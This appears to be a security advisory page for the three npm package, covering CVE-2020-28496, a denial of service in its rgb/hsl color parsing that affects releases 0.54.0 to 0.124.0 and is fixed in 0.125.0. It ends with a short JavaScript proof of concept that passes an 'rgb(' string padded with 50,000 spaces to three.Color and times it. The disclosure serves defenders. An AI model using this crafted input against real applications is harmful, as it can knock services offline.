Packages / three / Security

HighVulnerabilityGHSA-fq6p-x6j3-cmmqCVE-2020-28496Published 1 Mar 2021

Denial of service in three

Your version

Affected releases · three

  • 0.124.x and older0.54.0 – 0.124.0No fix, no longer updated

0.124.x has no fix yet; the newest fixed line:

npm install three@0.125.0
Every release on a timeline
1.x

  1. Not affected

    1.58.1

    1 release

0.x

  1. Affected

    0.54.0 – 0.124.0

    202 releases

  2. Fixed

    0.125.0 – 0.186.1

    102 releases, latest

305 stable releases of three, oldest to newest, one row per major.

What happens

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC: 

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")